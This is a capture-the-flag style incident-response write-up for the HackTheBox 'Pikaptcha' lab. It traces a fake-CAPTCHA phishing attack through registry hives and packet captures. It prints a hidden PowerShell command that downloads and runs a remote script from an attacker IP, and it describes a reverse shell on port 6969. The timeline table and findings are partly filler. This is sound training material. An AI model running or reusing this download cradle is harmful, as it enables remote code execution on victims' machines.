Pikaptcha
Pikaptcha
Platform: HackTheBox | Type: SOC/DFIR | Difficulty: Easy | Author: D3v0o0Nu11 | Date: 2026-02-10
Scenario
Happy Grunwald contacted the sysadmin, Alonzo, because of issues he had downloading the latest version of Microsoft Office. He had received an email saying he needed to update, and clicked the link to do it. He reported that he visited the website and solved a captcha, but no office download page came back. Alonzo, who himself was bombarded with phishing attacks last year and was now aware of attacker tactics, immediately notified the security team to isolate the machine as he suspected an attack. You are provided with network traffic and endpoint artifacts to answer questions about what happened.
Key Questions
- What indicators of compromise exist?
- What attack chain / MITRE techniques were used?
- What is the full timeline?
Investigation Timeline
| Time | Event | Evidence / Source |
|---|---|---|
| 05:07:48 | st = datetime.strptime("05:07:48", "%H:%M:%S") | |
| 05:14:31 | end = datetime.strptime("05:14:31", "%H:%M:%S") |
Evidence Analysed
- Tools: wireshark, python, powershell, bloodhound.
- Artifacts: prefetch, registry.
Detailed Investigation
- In this case, we're tasked to investigate a recent phishing attack.
- A person named Happy Grunwald contacted Alonzo, a system administrator, regarding an issue with downloading the latest version of Microsoft Office.
- Happy reported that he received an email instructing him to update Microsoft Office via a link. After clicking the link, he was prompted to solve a CAPTCHA, but no download page appeared afterward.
- Recognizing this as a potential phishing attempt, Alonzo became suspicious of the attacker’s tactics. He contacted the security team, who promptly isolated the victim’s machine and provided us with network traffic data and endpoint artifacts for analysis.
1ST QUESTION --> ANS: REDACTED
- We're given many registry hives and prefetch folder, it's kinda painful to analyze windows registry hives without knowing the context and location of what is our interest.
- To review recently executed command, we can start analyzing from
RunMRUregistry key for happy grunwald user. - To analyze the registry hives I used
registry explorer. But actually you can useregistry vieweror just mount it usingwinregfs. To load the registry hive for user happy grundwald, simply load theNTUSER.DATof happy grundwald.
RESULT IN REGISTRY EXPLORER
-
Again, to reduce the pain by traverse the folder manually, instead we can use the search bar to find RunMRU.
-
Notice that we found a powershell command execution from a remote source. This is a hint for a malicious activity.
Malicious Powershell Script
pwsh read-only • copy allowedpowershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://43.205.115.44/office2024install.ps1')"\1
NOTES REGARDING THE POWERSHELL EXECUTION FOUND:
-NoP flag (No Profile), is used to prevent powershell from loading the user's profile scripts (it can be used to reduce startup time). -Noni (Non-Interactive) flag is used to run the powershell script in a non-interactive mode. -W hidden flag is used to hides the powershell window, thus making the executiion invisible to the user.
The biggest red flag is -Exec Bypass, this flag used to override the system's execution policy, allowing the script to run regardless of any policy settings that might prevent it. This flag is actually is the biggest red flag if it is executed by non legitimate user.
-Command flag is used to specify the powershell command, IEX (Invoke Expression) this cmdlet is used to evaluate or runs the expression passed to it. (New-Object Net.WebClient).DownloadString('http://43.205.115.44/office2024install.ps1') this part creates a new web client object to download the script from the remote server and this script content is passed to IEX which runs it in the current powershell session.
In short, this powershell command is used to download a malicious powersell script file --> office2024install.ps1.
- Anyway if we correlate this with cyber kill chain stages, this stage is at the installation stage --> stage where the attacker tried to gain persistence.
- Great! Simple as that now we identified the full command that was run to download and execute the stager.
2ND QUESTION --> ANS: REDACTED
- Again, we can identify the timestamp of the execution at the
registry explorer. It is shown clear.
3RD QUESTION --> ANS: REDACTED
- Let's shift our focus to the captured network traffic to exfitrate the powershell script, because we cannot download the powershell script from registry explorer, because registry hive actually just stored a configuration data not actual files.
Wireshark
-
Actually now it's much easier, because we already identified the threat actor IP and the malicious file downloaded from the remote server. We can simply export the objects from wireshark.
-
To see the script contens, simply follow the related packet stream.
-
Based from the result, you can see that it contains an encoded powershell command.
DECODED VALUES
-
Interesting! Not a geek in powershell script, but
System.Net.Sockets.TCPClientsyntax is used to send and receive data. -
So if we correlate this again to next stages in cyber kill chain, current stage is Command and Control, this could be the backdoor that the attacker tried to use then.
-
Searching on the internet regarding reverse shell payload for powershell, found this github gist:
-
It is exactly the same! Anyway let's get the hash IOC.
Hash IOC
4TH QUESTION --> ANS: REDACTED
- The port is identified previously as we analyzed the C2 script. The port is
6969.
5TH QUESTION --> ANS: REDACTED
-
Now to identify how many seconds was the reverse shell connection established between C2 and the victim's workstation, we can start by reviewing the next TCP protocol which communicated on port 6969.
-
Instead calculating it manually, I used a library named datetime from python.
SCRIPT TO CALCULATE THE TIMESTAMP
py read-only • copy allowedfrom pwn import * import os from datetime import datetime os.system('clear') st = datetime.strptime("05:07:48", "%H:%M:%S") end = datetime.strptime("05:14:31", "%H:%M:%S") diff = (end - st).total_seconds() log.success(f'RESULT --> {diff}')
6TH QUESTION --> ANS: REDACTED
- Upon reviewing the threat actor activities, found that the attacker tried to install another powershell script.
NOTES:
Bloodhound is an open source tool used in Active Directory (AD) environment to map relationships and permissions. This tool help threat actor in reconnaisance to identify potential attack paths for privesc and lateral movement.
-
Now let's shift again our focus to identify the function name which contains the malicious payload to be pasted in the victim's password. Our objective should be to identify the malicious javascript function or code within the fake captcha page.
-
To narrow down our packet analysis, I filter the packets shown to the attacker IP alongside with http protocol.
-
Following the first HTTP packet data then scrolling down, we can identify the script tag that should be our interest section to be analyzed.
-
Upon reviewing it found a function which embedded with the powershell command we previously found during our first analysis at the victim registry hive.
-
As an additional information, this case is very similar to Lumma Stealer malware that exploits fake CAPTCHA pages.
-
Anyway, great! We've investigated the case!
Findings
- Persistence mechanism — An autostart/persistence mechanism was established on the host (see timeline).
- Initial access — The threat actor established access via the vector described in the investigation steps.
- Impact — As documented in the investigation steps.
MITRE ATT&CK Mapping
| Tactic | Technique | ID |
|---|---|---|
| Lateral Movement | Remote Services | T1021 |
| Defense Evasion | Obfuscated Files or Information | T1027 |
| Exfiltration | Exfiltration Over C2 Channel | T1041 |
| Command and Control | Ingress Tool Transfer | T1105 |
| Defense Evasion | Modify Registry | T1112 |
| Collection | Clipboard Data | T1115 |
| Persistence | Boot or Logon Autostart Execution | T1547 |
| Initial Access | Phishing | T1566 |
Answers / Flags
- 1ST QUESTION --> ANS: REDACTED
- 2ND QUESTION --> ANS: REDACTED
- 3RD QUESTION --> ANS: REDACTED
- 4TH QUESTION --> ANS: REDACTED
- 5TH QUESTION --> ANS: REDACTED
- 6TH QUESTION --> ANS: REDACTED
Lessons Learned
- Using registry explorer to load user's registry hive.
- Reviewing malicious powershell that acts as a downloader.
- Identify the threat actor's C2 server.
- Calculate reverse shell's session duration.
- Identify the JS function used by the threat actor to lure the victim. (phishing captcha).
- Is a new and sophisticated method of distributing Lumma Stealer Malware.